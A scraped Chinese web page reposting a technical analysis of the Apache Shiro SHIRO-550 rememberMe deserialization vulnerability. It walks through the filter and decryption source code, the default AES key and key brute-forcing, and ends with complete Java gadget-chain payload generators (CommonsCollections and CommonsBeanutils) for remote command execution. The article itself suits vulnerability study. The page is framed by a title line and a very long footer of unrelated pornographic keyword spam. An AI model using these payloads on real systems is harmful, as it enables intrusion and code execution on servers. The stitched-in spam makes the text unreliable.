久久久精品视频在线_免费在线a视频_在线看的黄色网址_懂色av粉嫩av浪潮av_艳妇乳肉豪妇荡乳av_国产午夜大地久久_国产在线观看免费播放_天堂视频免费看_久久精品女同亚洲女同13_各处沟厕大尺度偷拍女厕嘘嘘

當前位置: 首頁 >綜合 > 正文

深入理解Shiro反序列化原理

2023-06-29 10:15:42 來源:FreeBuf.COM
前言

Shiro是一個功能強大且易于使用的Java安全框架,提供全面的身份驗證、授權、密碼管理和會話管理功能。它支持多種認證方式,如基于表單、HTTP基本身份驗證和RememberMe。授權模型靈活,可細粒度限制訪問控制,保護敏感數據和功能。安全會話管理功能確保會話安全,包括記住我功能和會話超時設置。無論是Web應用還是其他Java應用,Shiro都是可靠的選擇,增加應用程序的安全性。


【資料圖】

在shiro-core庫中實現了對認證授權等的抽象,以提供對不同環境的認證和授權。如shiro-web依賴就是對在shiro-core庫的技術上進行擴展實現web應用的認證和授權等。在shiro-core庫中包括SecurityManager,Authenticator,Authoriser,realm,sessionManager等核心組件,具體關系如下圖所示。

image

從整體看是由SecurityManager管理的,然后認證和授權依賴于底層的realm從不同的途徑獲取對應數據。整個過程過程中的加密算法是由Cryptography完成的,在shiro中默認支持的加密算法有MD5/Hash/AES/RSA等。最后由sessionManager進行會話管理,同時還有session緩存等機制支持。

環境搭建

這里可以直接直接把官網的項目拉下來使用。

git clone https://github.com/apache/shiro.gitgit checkout shiro-root-1.2.4 //切換到1.2.4版本

打開后需要修改shiro/samples/web/pom.xml路徑下jstl的依賴版本,否則會出現jsp解析報錯。

image

最后配置好tomcat,然后選擇對應項目就可以跑起來了。

image

image

源碼分析入口點

shiro與web應用是通過一個過濾器綁定的,在web.xml中就可以看到。

image

所有的請求都將被ShiroFilter攔截,同時在過濾器之前還有一個listener,它在filter之前被初始化,它的作用就是為ShiroFilter初始化提供web環境的依賴對象。

ShiroFilter初始化

ShiroFilter是Filter的子類,由于它的匹配規則是/*,所以所有的請求都會被他處理。先來看一下它的繼承關系。

image

首先找到對應的初始化方法org.apache.shiro.web.servlet.AbstractFilter#init。

public final void init(FilterConfig filterConfig) throws ServletException { setFilterConfig(filterConfig); try { onFilterConfigSet(); } catch (Exception e) {......}public void setFilterConfig(FilterConfig filterConfig) { this.filterConfig = filterConfig; setServletContext(filterConfig.getServletContext());//設置servletContext}

其中的參數FilterConfig是由調用者ApplicationFilterConfig初始化時傳遞的自身,每一個filter都由ApplicationFilterConfig來管理最后存放在StandardContext#filterConfigs中。具體filter初始化的代碼就不再深入了,有興趣的同學可以再去結合tomcat的源碼看看,有助于后面學習通過shiro注入filter內存碼。

protected final void onFilterConfigSet() throws Exception { //added in 1.2 for SHIRO-287: applyStaticSecurityManagerEnabledConfig();//安全配置檢查是否使用靜態安全管理器 init(); ensureSecurityManager();//檢查securitymanager,否則初始化DefaultWebSecurityManager //added in 1.2 for SHIRO-287: if (isStaticSecurityManagerEnabled()) { SecurityUtils.setSecurityManager(getSecurityManager()); }}public void init() throws Exception { WebEnvironment env = WebUtils.getRequiredWebEnvironment(getServletContext()); setSecurityManager(env.getWebSecurityManager()); FilterChainResolver resolver = env.getFilterChainResolver(); if (resolver != null) { setFilterChainResolver(resolver); }}

這里才調用了ShiroFilter#init方法,首先從servletContext中獲取WebEnvironment對象,這個對象是在前面配置的listener初始化時創建的。同時初始化了securityManager對象,最后從WebEnvironment中獲取SecurityManager以及FilterChainResolver(內置過濾器)。

WebEnvironment創建

在前面的web.xml配置文件中可以看到除了filter之外還配置了一個EnvironmentLoaderListener,在初始化時就會調用其父類的EnvironmentLoader#initEnvironment方法。

image

前面看到在EnvironmentLoaderListener初始化中創建了WebEnvironment對象,調用了createEnvironment方法。

protected WebEnvironment createEnvironment(ServletContext sc) { Class clazz = determineWebEnvironmentClass(sc);.... MutableWebEnvironment environment = (MutableWebEnvironment) ClassUtils.newInstance(clazz); environment.setServletContext(sc);... customizeEnvironment(environment); LifecycleUtils.init(environment); return environment;}protected Class determineWebEnvironmentClass(ServletContext servletContext) { String className = servletContext.getInitParameter(ENVIRONMENT_CLASS_PARAM); if (className != null) { try { return ClassUtils.forName(className); } catch (UnknownClassException ex) { throw new ConfigurationException( "Failed to load custom WebEnvironment class [" + className + "]", ex); } } else { return IniWebEnvironment.class; }}

在創建WebEnvironment是也會首先查找servletcontext中是否自定義配置,默認使用IniWebEnvironment,及使用ini配置文件初始化securitymanager。然后初始化默認的內置過濾器。

public void init() { Ini ini = getIni();...... setIni(ini); configure();}protected void configure() { this.objects.clear(); WebSecurityManager securityManager = createWebSecurityManager();//創建默認wsm setWebSecurityManager(securityManager); FilterChainResolver resolver = createFilterChainResolver();//初始化默認過濾器 if (resolver != null) { setFilterChainResolver(resolver); }}

最后WebEnvironment的初始化結束調用servletContext.setAttribute(ENVIRONMENT_ATTRIBUTE_KEY, environment)設置到ApplicationContext的attributes屬性中,最后在ShiroFilter初始化時就會獲取該對象中的WebEnvironment和FilterChainResolver。

ShiroFilter過濾器

上面分析了ShiroFilter的初始化的過程,下面就來看看在我們shiro框架下的web應用是怎么實現安全訪問控制的。

首先從OncePerRequestFilter#doFilter方法入手,他是Filter接口中定義的方法。在tomcat處理完請求的封裝時在就會依次調用所有注冊的filter的doFilter方法。

public final void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws ServletException, IOException { String alreadyFilteredAttributeName = getAlreadyFilteredAttributeName(); if ( request.getAttribute(alreadyFilteredAttributeName) != null ) { filterChain.doFilter(request, response);//防止同一個過濾器調用兩次 } else //noinspection deprecation if ( !isEnabled(request, response) || shouldNotFilter(request) ) { filterChain.doFilter(request, response); } else { request.setAttribute(alreadyFilteredAttributeName, Boolean.TRUE); try { doFilterInternal(request, response, filterChain); } finally { request.removeAttribute(alreadyFilteredAttributeName); } }}

然后,回調用父類的AbstractShiroFilter#doFilterInternal方法。

protected void doFilterInternal(ServletRequest servletRequest, ServletResponse servletResponse, final FilterChain chain) throws ServletException, IOException { Throwable t = null; try { final ServletRequest request = prepareServletRequest(servletRequest, servletResponse, chain); final ServletResponse response = prepareServletResponse(request, servletResponse, chain); final Subject subject = createSubject(request, response); //noinspection unchecked subject.execute(new Callable() { public Object call() throws Exception { updateSessionLastAccessTime(request, response); executeChain(request, response, chain); return null; } }); } catch (ExecutionException ex) { t = ex.getCause(); } catch (Throwable throwable) { t = throwable; }...}

在這個方法里面首先對tomcat中的request和response對象重寫進行了封裝,然后主要代碼如下:

final Subject subject = createSubject(request, response);//由securitymanager創建subject.execute(new Callable() { public Object call() throws Exception { updateSessionLastAccessTime(request, response); executeChain(request, response, chain);//匹配請求URL執行內置過濾器 return null; }});

首先來看創建subject的過程。

由于這是web環境,所有在shiro-web里面重寫了WebSubject繼承subject,以及其內部的builder靜態內部類。

image

在創建過程中先初始化了WebSubject.Builder類,然后調用Builder.buildSubject,最后調用了SecurityManager#createSubject,其中 的subjectContext是在Builder初始化時創建的DefaultSubjectContext類,這個類負責處理本次會話的上下文對象,它的本質是一個Hashmap。

image

在初始化結束時默認存在如下對象:

image

在DefaultSecurityManager#createSubject(SubjectContext)中首先克隆了一個context對象,然后依次檢查其中的securitymanger,session,PrincipalCollection對象,如果不存在則創建并添加,最后再以這個context創建subject對象。

public Subject createSubject(SubjectContext subjectContext) { SubjectContext context = copy(subjectContext); context = ensureSecurityManager(context); context = resolveSession(context); context = resolvePrincipals(context); Subject subject = doCreateSubject(context); save(subject); return subject;}

其中shiro550漏洞就是在resolvePrincipals時觸發的。我們可以簡單跟進看一下。

protected SubjectContext resolvePrincipals(SubjectContext context) { PrincipalCollection principals = context.resolvePrincipals(); if (CollectionUtils.isEmpty(principals)) { principals = getRememberedIdentity(context); if (!CollectionUtils.isEmpty(principals)) { context.setPrincipals(principals); } else { } } return context; }

前面代碼邏輯還是差不多的,先從context中獲取principal對象,然后檢查是是否為空,如果為空則調用getRememberedIdentity創建然后設置到context中,否則直接返回,所以如果要觸發反序列化這里必須要為空。我們跟進resolvePrincipals方法中看一下。

public PrincipalCollection resolvePrincipals() { PrincipalCollection principals = getPrincipals(); if (CollectionUtils.isEmpty(principals)) { AuthenticationInfo info = getAuthenticationInfo(); if (info != null) { principals = info.getPrincipals(); } } if (CollectionUtils.isEmpty(principals)) { Subject subject = getSubject(); if (subject != null) { principals = subject.getPrincipals(); } } if (CollectionUtils.isEmpty(principals)) { Session session = resolveSession(); if (session != null) { principals = (PrincipalCollection) session.getAttribute(PRINCIPALS_SESSION_KEY); } } return principals;}

這個方法就和前面的resolveSession有點不太一樣了,他第一次調用了getPrincipals如果為空還從其地方也獲取了相關對象來構建principals,可以看到最后也獲取了session對象。如果前面已經設置了session對象,那么這里返回的就一定不會是null,最后就不會調用rememberMe導致反序列化。所以我們在利用shiro反序列化時一定要刪除cookie中的JSESSIONID字段。

最后使用context創建對應環境的subject對象,這個對象是shiro框架對開發者使用的一個接口對象,在登錄及認證授權時都是調用的該對象,由他內部再去調用securitymanager對象的操作。

最后回到AbstractShiroFilter#doFilterInternal中,調用了Subject#execute(java.util.concurrent.Callable)方法,傳入了updateSessionLastAccessTime和executeChain方法。這里如果直接跟進這兩個方法回錯過一個細節,就是將subject對象設置打ThreadLocal中,但由于這個和shiro中的漏洞關系不大就不再跟進分析了。

updateSessionLastAccessTime方法沒什么用就不說了,下面跟進executeChain說一下shiro中的路徑匹配。

image

在這個方法里面就分兩步,第一步根據request獲取對應的過濾器,然后第二部執行過濾方法。

protected FilterChain getExecutionChain(ServletRequest request, ServletResponse response, FilterChain origChain) { FilterChain chain = origChain; FilterChainResolver resolver = getFilterChainResolver(); if (resolver == null) {... return origChain; } FilterChain resolved = resolver.getChain(request, response, origChain);... return chain;}public FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) { FilterChainManager filterChainManager = getFilterChainManager(); if (!filterChainManager.hasChains()) { return null; } String requestURI = getPathWithinApplication(request); for (String pathPattern : filterChainManager.getChainNames()) { if (pathMatches(pathPattern, requestURI)) { return filterChainManager.proxy(originalChain, pathPattern); } } return null;}

首先獲取FilterChainResolver對象,這個對象就是在WebEnvironment創建時初始化的,然后在ShiroFilter初始化時設置到該類的屬性中。然后根據請求URL匹配對應的過濾器,最后創建一個filterChain的靜態代理類。其中shiro權限繞過的原因主要就是由于路徑匹配時匹配到了錯誤的過濾器或未匹配到shiro內置的過濾器,導致繞過shiro的過濾器檢查,但其請求URL被tomcat過濾器處理后仍然能獲取對應的資源。

SHIRO-550源碼分析

上面分析了shiro框架的大概流程,在介紹DefaultSecurityManager#createSubject(SubjectContext)中創建Principal時就會對cookie中的rememberMe解析并反序列化。下面就從這開始進行深入分析。

首先進入org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity方法。

protected PrincipalCollection getRememberedIdentity(SubjectContext subjectContext) { RememberMeManager rmm = getRememberMeManager(); if (rmm != null) { try { return rmm.getRememberedPrincipals(subjectContext); } catch (Exception e) {...... } } return null;}public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { PrincipalCollection principals = null; try { byte[] bytes = getRememberedSerializedIdentity(subjectContext); if (bytes != null && bytes.length > 0) { principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = onRememberedPrincipalFailure(re, subjectContext); } return principals;}

其中getRememberedSerializedIdentity方法主要是獲取rememberMe的值并進行base64解密,然后convertBytesToPrincipals對base64解密后的值進行AES解密并反序列化。注意這里的異常捕獲,先提一下后面再回來分析。我們繼續跟進convertBytesToPrincipals方法。

image

這個方法里面也分兩步,第一步對字節數組進行AES解密,第二步進行反序列化。

image

在解密時就會獲取AES密鑰,由于這個密鑰在對象構造函數中初始化為了默認密鑰,導致攻擊者可以根據密鑰進行偽造惡意的反序列化數據進行代碼執行。

我們再來看反序列化的方法。

image

這里調用了readObject方法導致反序列化,注意這里的調用類并不直接是ObjectInputStream對象,而是自定義的一個繼承ObjectInputStream的類,并重寫了resolveClass方法。

image

在原生java反序列化底層代碼中該方法的作用是根據其讀取到完全限定名調用Class.forName()進行類加載獲取對應的Class對象。這里重寫該方法主要是為了使用指定的類加載器來進行類加載,因為在tomcat中打破了雙親委派的機制都是使用的自定義類加載進行類加載,我們跟進該方法也可以看到它首先就從進程中獲取了不同的類加載器進行類加載。

public static Class forName(String fqcn) throws UnknownClassException { Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn); if (clazz == null) { clazz = CLASS_CL_ACCESSOR.loadClass(fqcn); } if (clazz == null) { clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn); } if (clazz == null) { String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found."; throw new UnknownClassException(msg); } return clazz;}

正是由于這里自定義了類加載器,主要都是通過類名然后去找對應的class文件,然后通過defineclass進行類加載。但是由于java中數組的類對象是由jvm創建的,沒有對應的class文件,導致在利用時反序列化數組對象時回拋出如下異常。這也是在shiro中利用cc鏈的一大限制,但并不是主要原因,其他原因在后面分析利用鏈時再說。

image

剛剛為了使整個分析流程更加順暢,所以沒有提DefaultSecurityManager#getRememberedIdentity方法中拋出的異常。

protected PrincipalCollection onRememberedPrincipalFailure(RuntimeException e, SubjectContext context) { forgetIdentity(context); throw e;}public void forgetIdentity(SubjectContext subjectContext) { if (WebUtils.isHttp(subjectContext)) { HttpServletRequest request = WebUtils.getHttpRequest(subjectContext); HttpServletResponse response = WebUtils.getHttpResponse(subjectContext); forgetIdentity(request, response); }}private void forgetIdentity(HttpServletRequest request, HttpServletResponse response) { getCookie().removeFrom(request, response);}

從上面的調用鏈跟蹤最后來到SimpleCookie#removeFrom,在這添加了一個cookie為rememberMe=deleteMe,這也是識別shiro框架的特征。同時看整個異常的位置是在base64解密之前,就是從base64解密開始后面的AES解密以及反序列化過程只要拋出了沒有被處理的異常最后都會被捕獲,設置rememberMe=deleteMe。

image

上面是rememberMe的解密過程,下面簡單說一下它在登錄認證過程中是如何產生的。

在后端對登錄請求的處理一般都會先調用SecurityUtils#getSubject獲取對應的subject,然后調用login方法,傳入由username和password初始化的AuthenticationToken對象。

image

在認證成功后就會創建一個principals然后加密返回給客戶端。

上面對整個流程進行了粗略的分析,可以了解到在正常流程中rememberMe的值就是PrincipalCollection對象序列化數據的加密后的值。所以我們在爆破key的時候就可以利用整個對象,但由于它是一個接口,所以我們一般都會利用他的子類SimplePrincipalCollection進行爆破,然后根據返回結果中是否含有deleteMe判斷密鑰是否正確。

image

利用鏈

在前面分析中找到了ObjectInputStream#readObject的調用點,我們利用還需要找到能利用的反序列化鏈,我們前面了解了CC鏈,以及URLDNS等。如果直接嘗試CC鏈可能會出現如下報錯:

image

因為在shiro默認的依賴中不好看CC依賴,導致無法反序列化,然后我們補上CC依賴后再打可能又會遇到下面的報錯,Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;],這就是由于無法創建Transformer數組導致的。所以在打CC依賴的時候必須要找一條不包含數組的鏈,這個的原因在上面也說了。

image

最后在原來的CC鏈的基礎少結合CC2+CC6得出下面這條鏈。

public Object getPayload(String[] args) throws Exception { TemplatesImpl templatesImpl = new TemplatesImpl(); Class templatesClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templatesImpl, "123"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get(args[0])); byte[][] codes = new byte[][]{code}; bytecodesField.set(templatesImpl, codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templatesImpl, new TransformerFactoryImpl()); Field auxClassesField = templatesClass.getDeclaredField("_auxClasses"); auxClassesField.setAccessible(true); auxClassesField.set(templatesImpl, (Object)null); InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}); Map map = new HashMap(); LazyMap lazyMap = (LazyMap)LazyMap.decorate(map, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templatesImpl); Map map1 = new HashMap(); map1.put(tiedMapEntry, "bbb"); lazyMap.remove(templatesImpl); Class c = LazyMap.class; Field factoryfield = c.getDeclaredField("factory"); factoryfield.setAccessible(true); factoryfield.set(lazyMap, invokerTransformer); return map1;}

或者直接用依賴commons-collections4的CC2也可以。

上面這種方式是需要我們補依賴環境的,在實戰中這種方式就會有一定的限制,所以我們在shiro中更多的是使用的它自帶的CB鏈去利用。在前面學習CC鏈的時候了解到TemplatesImpl這個類,在這個類里面自定義了類加載器,只要調用TemplatesImpl#newTransformer就可以觸發類加載。我們繼續回溯找到了TrAXFilter的構造函數中調用了該方法,另外還有TemplatesImpl#getOutputProperties中也調用了newTransformer,其中CB鏈就是用的后面這個點。

可以看到getOutputProperties是一個getter方法,在commons-beanutils中有一個調用任意對象getter的方法org.apache.commons.beanutils.PropertyUtils#getProperty(Object bean, String name),它在org.apache.commons.beanutils.BeanComparator#compare中被調用,且參數可控,所以再結合前面CC鏈的部分最后得出下面的CB鏈。

public Object getPayload(String[] args) throws Exception { TemplatesImpl templatesImpl = new TemplatesImpl(); Class templatesClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templatesImpl, "123"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get(args[0])); byte[][] codes = new byte[][]{code}; bytecodesField.set(templatesImpl, codes); Field auxClassesField = templatesClass.getDeclaredField("_auxClasses"); auxClassesField.setAccessible(true); auxClassesField.set(templatesImpl, (Object)null); BeanComparator beanComparator = new BeanComparator(); beanComparator.setProperty("outputProperties"); PriorityQueue priorityQueue = new PriorityQueue(); priorityQueue.add(1); priorityQueue.add(1); Class priorityQueueClass = PriorityQueue.class; Field queueField = priorityQueueClass.getDeclaredField("queue"); queueField.setAccessible(true); Object[] o = (Object[]) queueField.get(priorityQueue); o[0] = templatesImpl; o[1] = templatesImpl; Field comparator = priorityQueueClass.getDeclaredField("comparator"); comparator.setAccessible(true); comparator.set(priorityQueue,beanComparator); return priorityQueue;}

最后也同樣實現了命令執行。

image

總結

以上就是關于shiro反序列化的所有分析了,雖然在1.2.4之后shiro就采用了自定義密鑰或者隨機生成密鑰,但真正反序列點還是沒有改變,如果存在密鑰泄露依然可以導致反序列化。

參考資料

Shiro反序列化漏洞(一)-shiro550流程分析-白日夢組長

Tomcat源碼初識一 Tomcat整理流程圖

標簽:

返回頂部
熟妇人妻系列aⅴ无码专区友真希| 欧美人妻一区二区三区| 国产乱子伦精品视频| 激情小说欧美色图| 亚洲av综合一区二区| 图片区偷拍区小说区| 一区二区三区日| 日韩欧美高清在线观看| 免费网站看av| 欧美精品videos极品| 不卡的av中文字幕| 亚洲 欧美 日韩系列| 激情六月丁香婷婷| 黄色免费视频大全| 久久综合亚洲精品| 日韩人妻一区二区三区蜜桃视频| 黄色a级在线观看| 日韩激情综合网| 国产黄色小视频网站| 成人无码精品1区2区3区免费看 | 怡红院成永久免费人全部视频| 国产精品theporn动漫| 国产精品99精品无码视| 久草国产在线视频| 国产真实夫妇交换视频| 精品人妻无码一区二区三区换脸| 国产精品熟女久久久久久| 97人妻精品一区二区三区动漫| 国产剧情精品在线| 免费看国产片在线观看| 一级黄色片毛片| 无码人妻丰满熟妇啪啪欧美| 国产精品久久久久久久精| 国产精品69久久久| 一区二区三区入口| 久草资源在线视频| 中文字幕激情视频| 九九热最新视频| 国产伦精品一区二区三区妓女下载 | 亚洲午夜无码av毛片久久| 国产精品999在线观看| 亚洲黄色小说在线观看| 六月婷婷激情综合| 免费黄色av片| 久久久久久亚洲中文字幕无码| 99热自拍偷拍| 波多野结衣国产| 免费看日批视频| 女人18毛片一区二区三区| 日本成人中文字幕在线| 欧美图片第一页| 成人黄色片视频| 亚洲图片欧美在线| 无码人妻熟妇av又粗又大| 国产偷拍一区二区| 久久久无码人妻精品无码| 色撸撸在线视频| 少妇人妻在线视频| 久久精品国产亚洲AV无码男同| 一级爱爱免费视频| 欧美日韩一区二区三区四区五区六区| 精品伦精品一区二区三区视频密桃| 免费拍拍拍网站| 久一区二区三区| 国产黄色片网站| 日韩一级av毛片| 国产精品丝袜久久久久久消防器材| 国产乡下妇女做爰| 色噜噜在线播放| 久久国产高清视频| www.精品在线| 日韩av免费播放| 真人bbbbbbbbb毛片| 成人在线视频一区二区三区| 久久中文字幕在线观看| 韩国av免费在线| 国产白丝一区二区三区| 别急慢慢来1978如如2| 国内av在线播放| v天堂中文在线| 日韩精品久久一区二区| 国产一级淫片免费| 天天操天天干天天爱| 黄视频网站免费看| 欧美日韩激情在线观看| 亚洲国产综合一区| 久久久国产精华液999999| 五月婷婷之婷婷| jizz中国女人| 做爰无遮挡三级| 欧美 变态 另类 人妖| 国产免费成人在线| 在线观看毛片视频| 青青青手机在线视频| 久久婷婷综合色| 成人午夜福利视频| 91免费版看片| 天堂av免费在线观看| 久久精品—区二区三区舞蹈| 精品日韩久久久| 亚洲精品一区二区三区四区| 人人妻人人澡人人爽精品欧美一区| 精品无码人妻一区二区三| 国产精品偷伦视频免费观看了| av高清在线免费观看| 亚洲av综合一区| 亚洲а∨天堂久久精品2021| 亚洲免费黄色录像| 少妇丰满尤物大尺度写真| 国产亚洲黄色片| 一道本在线视频| 国产一二三四区| 可以在线观看av的网站| 大地资源二中文在线影视观看| 人人爽人人av| 亚洲欧美国产中文| 熟妇人妻中文av无码| 欧美亚洲日本一区二区三区| 一二区在线观看| 日本三日本三级少妇三级66| 超碰在线观看91| 中文字幕电影av| 精品成人久久久| 日韩精品电影一区二区三区| 久久久久97国产| 久久一区二区电影| 一级黄色在线播放| 免费黄色三级网站| 欧美视频国产视频| 国产又黄又粗又猛又爽的视频 | 国产成人精品一区二区无码呦| 亚洲国产精品影视| 中文字幕日本视频| 日韩中文字幕亚洲精品欧美| 亚洲天堂男人网| 日韩精品久久一区二区| 国产精品无码AV| 欧美狂野激情性xxxx在线观| 精品黑人一区二区三区国语馆| 97超碰人人澡| 午夜一区在线观看| 国产免费又粗又猛又爽| 好吊色视频一区二区三区| 青青草免费av| www久久久久久久| 黄色片中文字幕| 一区二区三区四区久久| 97人妻精品一区二区三区视频| 国产高清www| 色丁香婷婷综合久久| 成人性生生活性生交12| 怡红院一区二区| 免费一级a毛片夜夜看 | 精品无码av无码免费专区| 国产欧美一级片| 国产无遮挡在线观看| 亚洲av无码专区在线| 日本一级一片免费视频| 色婷婷综合在线观看| zjzjzjzjzj亚洲女人| 久久免费少妇高潮99精品| 艳妇荡乳欲伦69影片| 国产视频一区二区三区四区五区| 午夜精品久久久内射近拍高清| 北京富婆泄欲对白| 97人人澡人人爽人人模亚洲| 丰满大乳国产精品| 午夜视频在线网站| 国产不卡在线观看视频| 91精品在线视频观看| 最近免费中文字幕中文高清百度| 日本免费福利视频| 亚洲欧美另类在线视频| 男人插女人视频在线观看| 亚洲熟女一区二区三区| 国产毛片aaa| 国产 日韩 欧美在线| av免费观看不卡| 91在线视频免费播放| 日韩欧美一区二| 波多野结衣一本| 一区二区国产欧美| 老司机午夜性大片| 综合五月激情网| 亚洲av电影一区| 黄色在线视频网址| 精品国产成人av在线免| 欧美成人短视频| 欧美一级视频免费| tube国产麻豆| 日韩在线观看视频一区二区三区| 国产在线观看99| 久激情内射婷内射蜜桃| 国产肥白大熟妇bbbb视频| 国产a级免费视频| 久久一二三四区| 免费观看美女裸体网站| a资源在线观看| 日韩在线视频免费| 天堂中文在线网| 精品www久久久久奶水| 午夜精品一区二区三级视频| 亚洲欧洲视频在线观看| 糖心vlog精品一区二区| 亚洲成色www.777999| 一级片一级片一级片| 国产一级二级av| 中文字幕日韩国产| 欧美黑吊大战白妞| 少妇人妻大乳在线视频| 人妻互换一区二区激情偷拍| 午夜在线观看视频18| 亚洲av无码乱码国产精品fc2| www.这里只有精品| 国产欧美日韩小视频| 刘亦菲国产毛片bd| 国产视频精品视频| 亚洲av色香蕉一区二区三区| 午夜精品久久久久久久久久久久久蜜桃| 成人免费在线小视频| 全网免费在线播放视频入口| 变态另类丨国产精品| 亚洲国产精品无码久久| 亚洲成熟少妇视频在线观看| 亚洲欧美日本一区二区| 免费成人在线视频网站| 久久免费视频2| 亚洲一区二区自偷自拍| 亚洲午夜精品在线观看| 亚洲国产精彩视频| 中文字幕 自拍偷拍| 午夜精品三级久久久有码| 无码熟妇人妻av在线电影| 99视频精品全部免费看| 九九热只有这里有精品| 91九色在线观看视频| 国产精品亚洲αv天堂无码| 狠狠热免费视频| 无码少妇精品一区二区免费动态| 中文字幕xxx| 欧美午夜激情影院| 国产一区二区精彩视频| 精品国产一区二区三区在线| 久操手机在线视频| 18禁免费无码无遮挡不卡网站| 欧美日韩中文在线视频| 免费看污黄网站| 欧美黄色一区二区三区| 亚洲日本韩国在线| 中文字幕视频免费观看| www.国产.com| 国产精品偷伦视频免费观看了| 三级视频网站在线观看| 亚洲精品国产一区黑色丝袜| 成人欧美一区二区三区黑人一| 一级全黄肉体裸体全过程| 日本aa在线观看| 黄色三级视频片| 久久久无码精品亚洲国产| 日本视频免费在线| 91久久精品无码一区二区| 欧美一级特黄aaaaaa| 国产黄频在线观看| 69国产精品视频免费观看| 亚洲欧美偷拍视频| av黄色在线播放| 国产午夜麻豆影院在线观看| 一级黄色av片| 在线观看av大片| 国产欧美一级片| 亚洲国产av一区二区| 国 产 黄 色 大 片| 手机看片国产1024| 中文字幕 欧美 日韩| 99免费观看视频| 国产精品探花一区二区在线观看| 亚洲调教欧美在线| 亚洲av成人无码久久精品| jizzjizz日本少妇| 日韩成人毛片视频| www成人免费| 欧美成人高潮一二区在线看| av动漫免费看| 亚洲 激情 在线| 超碰在线资源站| 日本三级理论片| 久久久久亚洲视频| a级片在线播放| 天天插天天干天天操| 无码人妻精品一区二区三| 扒开jk护士狂揉免费| 国产精品久久久免费看| 女尊高h男高潮呻吟| 视频国产一区二区| 99色精品视频| 天天操天天操天天操天天| 日本人妻熟妇久久久久久| 亚洲午夜久久久久久久国产| 日韩欧美国产综合在线| 懂色av粉嫩av浪潮av| 成人在线观看你懂的| 精品午夜福利视频| 亚洲精品国产精| 日本精品久久久久中文| 日本成年人网址| 中文字幕在线观看视频免费| 在线观看欧美一区二区| 国产极品国产极品| 在线视频观看一区二区| 国产手机精品视频| 懂色av蜜桃av| 国内自拍视频网| 97超视频在线观看| 成人乱码一区二区三区av| 一区二区传媒有限公司| 成人午夜淫片100集| xxxxwww一片| 精品人妻大屁股白浆无码| 激情五月少妇a| 亚洲成人中文字幕在线| 久久精品一区二区三区四区五区| 别急慢慢来1978如如2| 97成人在线观看| 又色又爽的视频| 狠狠操狠狠干视频| 免费看又黄又无码的网站| 免费看一级一片| 国产99999| 欧美偷拍一区二区三区| 97在线免费视频观看| 欧美成人三级视频| 国产视频在线免费观看| 91丝袜在线观看| 国产激情在线看| 免费在线黄色片| 国产成人久久精品77777综合 | 欧美综合在线观看视频| 青青操免费在线视频| 全部免费毛片在线播放一个| ass极品国模人体欣赏| 欧美日韩在线中文| 国产成人精品777777| 制服丝袜av在线| 中文字幕精品在线播放| 日本高清免费在线视频| 精品久久久免费视频| 免费一级suv好看的国产网站| 久久精品视频91| 曰批又黄又爽免费视频| 亚洲精品成人无码熟妇在线| 国产精品网站免费| 日本视频网站在线观看| 男女性杂交内射妇女bbwxz| 毛片av在线播放| 日韩无码精品一区二区三区| 亚洲日本视频在线观看| 婷婷色一区二区三区| 在线免费看v片| 国产高潮视频在线观看| 国产三级日本三级在线播放| 日韩在线视频免费| 免费看又黄又无码的网站| 免费大片在线观看| 精品人妻无码一区二区色欲产成人 | 亚洲毛片一区二区三区| 黄色国产在线播放| 日韩精品久久久久久久酒店| 亚洲色成人网站www永久四虎| 欧美专区第二页| 日韩人妻无码一区二区三区| 992tv人人草| 无码人妻精品一区二区中文| 亚洲精品在线网址| 久久精品国产亚洲av麻豆| 日本中文字幕在线不卡| wwwwxxxx国产| 国产午夜久久久| 亚欧精品视频一区二区三区| 中文字幕第15页| 看免费黄色录像| 中文字幕免费播放| 成人一区二区av| 精品久久人妻av中文字幕| 欧美不卡在线播放| 婷婷丁香一区二区三区| 久久九九国产视频| 香港三日本8a三级少妇三级99| 影音先锋男人在线| 九九热只有精品| 亚洲精品理论片| 国产永久免费网站| 精品久久久久一区二区| 青青草精品视频在线观看| 天天av天天翘| 午夜肉伦伦影院| 亚欧洲精品视频| 日本成人在线免费视频| 无码国精品一区二区免费蜜桃| 国内自拍在线观看| 黑人精品一区二区三区|